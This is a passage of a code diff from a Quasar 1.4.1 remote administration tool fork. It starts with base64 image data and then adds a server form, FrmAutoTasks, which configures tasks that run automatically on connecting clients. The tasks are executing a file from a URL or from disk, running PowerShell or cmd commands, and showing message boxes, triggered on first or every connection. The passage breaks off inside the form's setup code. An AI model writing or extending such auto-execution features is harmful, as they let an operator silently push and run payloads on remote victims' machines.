I/84KCH/OSki/zkpIv86KiP/LBwV/0c3MNluXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zgoIf84KCH/Nycg/x4LBf82JBv/l42I/+rn5v//////5+Ti/6Sbl/9dTkj/NCMc/yQR + Cf8gDQb/IBAI/ycXEP8zIxz/OSki/zoqI/86KyT/PS0m/yQTCv9ZSED/7Ono////////////5OHg/0Ex + Kv8mFg//PS0m/zssJf87KyT/Oiok/zkqI/85KSL/MCAZ/yMTDP8fDQX/IxIL/zopIv9ZSkT/kYV+/761 + sf+pnpr/VUdA/x4OBv8xIRr/Oysk/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/Nicg/xwKAv9VQjv/1M3J///////q5eT/k4iC/0Av + KP8iEQn/IQ8H/ygYEf80JB3/OCgh/zsrJP87KyT/Oioj/zoqI/86KiP/Oysk/z0sJf8fDQX/hnhy//v5 + +P////////////Lv7/9qWlP/IRAI/z0tJv86KiP/OSki/zkpIv85KSL/OSki/zoqI/87KyT/Oioj/zcn + IP8sHBT/IhEJ/ycVDv9BMSr/hnp0/8zCvf+KenP/IxMM/y0eF/86KiP/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSoj/yISCv9gT0j/8u7s//// + //+/tbH/QzIq/x4MBP8oFg//MiEa/zkpIv87KyT/OSki/zkpIv86KiP/Nycg/zMjHP8vHxj/KhoT/ycX + EP8bCgb/DwAA/7euqv//////////////////////n5WR/w0AAP8oGBH/Lh4X/zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zoqI/81JB3/KxoT/yMRCv9HNjD/uKmi/56OiP8rGhP/MiIc/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OSki/y0c + Fv9JNzD/6uXi//////+hlpL/JRIK/yUTDP81JR7/OSki/zkpIv84KCH/OCgh/zcnIP8yIhv/JhYP/ysb + FP84KCH/SDgx/1xMRf9uXlf/dGRd/4NzbP/Uxr//7uLc/+rb1f/u4Nn/+vPv/93Szf+CcGn/bFxV/11N + Rv9ENC3/Nycg/zgoIf84KCH/Nycg/zgoIf84KCH/Nycg/zgoIf85KSL/OSki/zoqI/84JyD/KRgR/yoa + E/+llpD/jHt0/yoZEv84KCH/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zcnIP8mFA3/qJyX//////+3rar/Iw8H/yoZEv87KyT/OSki/zgoIf84KCH/OSki/zIi + G/8oGBH/QDAp/3BgWf+YiIH/sqKb/8e3sP/QwLn/18fA/+TUzf/s3db/387G/8+8tf/Ar6j/qZiQ/5F+ + d/+Jd3D/iHly/3NjXP9rW1T/Tj43/zIiG/8yIhv/NCQd/zUlHv83JyD/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zoqI/8qGhP/NCQc/6ublf9ZSUP/MiIb/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TIiG/8wIBn/Py4m//Dt7P/v6+r/V0Q//xoKBP89LSb/OSki/zkp + Iv85KSL/OSki/y4eF/8tHRb/e2tk/8W1rv/i0sv/4dHK/9jIwf/Tw7z/1cW+/9/PyP/bysP/t6eg/4N0 + bv9aS0b/OSki/yUUDf8gEAn/Hw8J/yERDf8qGhP/KxsT/zQkHf83JyD/MiIb/ywcFf8oGBH/KhoT/y0d + Fv8zIxz/OCgh/zoqI/85KSL/OSki/zkpIv84KCH/PS0m/x8OB/9zYlv/iXly/ygYEf87KyT/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0yIhv/Lx8X/0ExK////v7/4d3c/zgl + Hf8mFhD/Oioj/zkpIv8xIRr/NiYf/zUlHv8sHBX/kIB5/+nZ0v/ezsf/zr63/8u7tP/KurP/0sK7/+LS + yv+4p5//WktG/x8PCf8SAgD/JBgX/0o4Mv9sW1P/hnRs/5qIgP+nlo7/sqGa/7amn/+3p6D/rZ2W/5+P + iP+Pf3j/eGhh/1VFPv82Jh//KBgR/ycXEP81JR7/Oioj/zkpIv85KSL/OSki/zoqI/8jEwz/WUlC/4t7 + dP8lFQ7/Oysk/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zYn + IP81JR7/inp1/4R2bv8wHxn/NiYf/zsrJP8wIBn/OCgh/zsrJP8qGhP/bV1W/+TUzf/UxL3/ybmy/829 + tv/MvLX/0sK7/9vLxP+HeHH/GAwL/xsNDP9mWVX/raKd/9bNyv/s49//+vLv//z18v/16uX/6dnS/9vJ + wf/VxLz/5NTN/+XWz//dzcb/38/I/9vLxP/QwLn/t6eg/4d3cP9JOTL/JxcQ/zAgGf87KyT/OCgh/zgo + If89LSb/IhIL/2ZWT/98bGX/KhoT/zsrJP8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv85KSL/Nycg/yQRCf8mFQ3/OCki/zwsJf8vHxj/PCwl/419dv9HNzD/LR0W/6OT + jP/j08z/ybmy/829tv/Nvbb/zb22/93Nxv+FdnD/CgAA/11QS//VzMj/+/r5//////////////////// + //////////7///v5+P/z6+f/z764/6qYkP/Ht7D/4NHK/9DAuf/Nvbb/2MjB/97Ox//fz8j/zr63/4R0 + bf8vHxj/Lx8Y/zoqI/88LCX/Lh4X/zMjHP+Pf3j/Tj43/zUlHv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zgoIf81JB7/NiYf/zkpIv85KSL/IxMM/3xs + Zf/JubL/PS0m/y4eF/+pmZL/4tLL/8m5sv/Nvbb/zLy1/9fHwP+4qKH/IxQO/2RYU//59fP///////// + /////v7////////+/v////////////////////////////z5+P+4qaL/alhR/6KSi//j08z/1cW+/8i4 + sf/Lu7T/z7+4/9zMxf/l1c7/k4N8/ywcFf82Jh//Lh4X/yoaE/+JeXL/dGRd/ywcFf85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/OCgh/zkp + Iv85KSL/MyMc/ywcFf+omJH/3c3G/0k5Mv8fDwj/dmZf/+XVzv/Tw7z/y7u0/8u7tP/h0cr/inpy/y8f + GP/m4N3////////+/v///v7//////////////////////////////v7/////////////////+/n4/6eX + kP81JR7/dGRd/9nJwv/Vxb7/y7u0/8y8tf/Lu7T/1cW+/97Ox/9pWVL/GwsE/zkpIv96amP/eWli/zEh + Gv80JB3/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEh + Gv84KCH/OSki/zkpIv85KSL/Oioj/y4eF/81JR7/rZ2W/+vb1P+MfHX/Hg4H/y0dFv+Tg3z/5NTN/9rK + w//Ovbb/38/I/5iIgP9GNzD//vz7//////////////////////////////////////////////////// + //////////////79/f/m19D/hnVu/xUFAP91ZV7/2srD/9LCu//MvLX/zb22/829tv/ezsf/jHx1/zAg + Gf9yYlv/XU1G/y4eF/8yIhv/Oioj/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af// + /wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zoqI/8yIhv/MCAZ/6KSi//j08z/1cW+/21d + Vv8bCwT/IhIL/2xcVf+4qKH/2MfA/+DQyf/dzMb/eGZf/7qxrf////////////////////////////// + ///////////////////////////////////u5eH/08G5/8W1rf80JB//JRUU/7Ghmv/dzcb/zLy1/829 + tv/Nvbb/38/I/419dv8vHxj/QTEq/zAgGf82Jh//OCgh/zgoIf85KSL/Oioj/y0dFv9GNi/Zbl5Xh/// + /wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/yUV + Dv9tXVb/3s7H/9zMxf/UxL3/iHhx/zUlIP8SAgD/JhYO/1VGQf99bWf/o5OM/7emn/+fj4j/493a//7+ + /v/////////////////////////////////////////////////z6uf/0L+4/9DAuf/Ht7D/OSki/x8P + CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq + I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp + Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER + Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 + sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N + xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// + ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e + F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d + Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmAutoTasks.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmAutoTasks.cs new file mode 100755 index 0000000..93a7228 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmAutoTasks.cs @@ -0,0 +1,811 @@ +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Windows.Forms; +using System.Xml.Serialization; + +namespace Quasar.Server.Forms +{ + public partial class FrmAutoTasks : Form + { + private static readonly string AutoTasksPath = Path.Combine(Application.StartupPath, "autotasks.xml"); + public static List ConfiguredTasks = new List(); + + // UI Controls + private TabControl tabControl; + private TabPage tabExecuteUrl; + private TabPage tabExecuteDisk; + private TabPage tabCommand; + private TabPage tabMessageBox; + private Button btnExecuteUrl; + private TextBox txtUrl; + private Label lblUrl; + private Button btnExecuteDisk; + private Button btnBrowseDisk; + private TextBox txtDiskPath; + private Label lblDiskPath; + private Button btnExecuteCommand; + private TextBox txtCommand; + private Label lblCommand; + private RadioButton rbPowerShell; + private RadioButton rbCmd; + private Label lblShell; + private Button btnShowMessage; + private GroupBox gbIcon; + private RadioButton rbQuestion; + private RadioButton rbError; + private RadioButton rbWarning; + private RadioButton rbInfo; + private RadioButton rbNone; + private TextBox txtMsgText; + private Label lblMsgText; + private TextBox txtMsgCaption; + private Label lblMsgCaption; + private GroupBox gbTrigger; + private RadioButton rbInitial; + private RadioButton rbAllConnections; + private ListBox lstTasks; + private Label lblTasks; + private Button btnRemove; + private SplitContainer splitContainer; + private Button btnClearAll; + + public FrmAutoTasks() + { + InitializeComponent(); + Utilities.ThemeManager.ApplyThemeToNewForm(this); + LoadAutoTasks(); + RefreshTaskList(); + } + + public static void LoadAutoTasks() + { + try + { + if (File.Exists(AutoTasksPath)) + { + XmlSerializer serializer = new XmlSerializer(typeof(List)); + using (FileStream fs = new FileStream(AutoTasksPath, FileMode.Open)) + { + ConfiguredTasks = (List)serializer.Deserialize(fs); + } + } + } + catch (Exception ex) + { + MessageBox.Show($"Failed to load auto tasks: {ex.Message}", "Load Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + ConfiguredTasks = new List(); + } + } + + public static void SaveAutoTasks() + { + try + { + XmlSerializer serializer = new XmlSerializer(typeof(List)); + using (FileStream fs = new FileStream(AutoTasksPath, FileMode.Create)) + { + serializer.Serialize(fs, ConfiguredTasks); + } + } + catch (Exception ex) + { + MessageBox.Show($"Failed to save auto tasks: {ex.Message}", "Save Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + } + } + + private void InitializeComponent() + { + this.splitContainer = new System.Windows.Forms.SplitContainer(); + this.tabControl = new System.Windows.Forms.TabControl(); + this.tabExecuteUrl = new System.Windows.Forms.TabPage(); + this.gbTrigger = new System.Windows.Forms.GroupBox(); + this.rbAllConnections = new System.Windows.Forms.RadioButton(); + this.rbInitial = new System.Windows.Forms.RadioButton(); + this.btnExecuteUrl = new System.Windows.Forms.Button(); + this.txtUrl = new 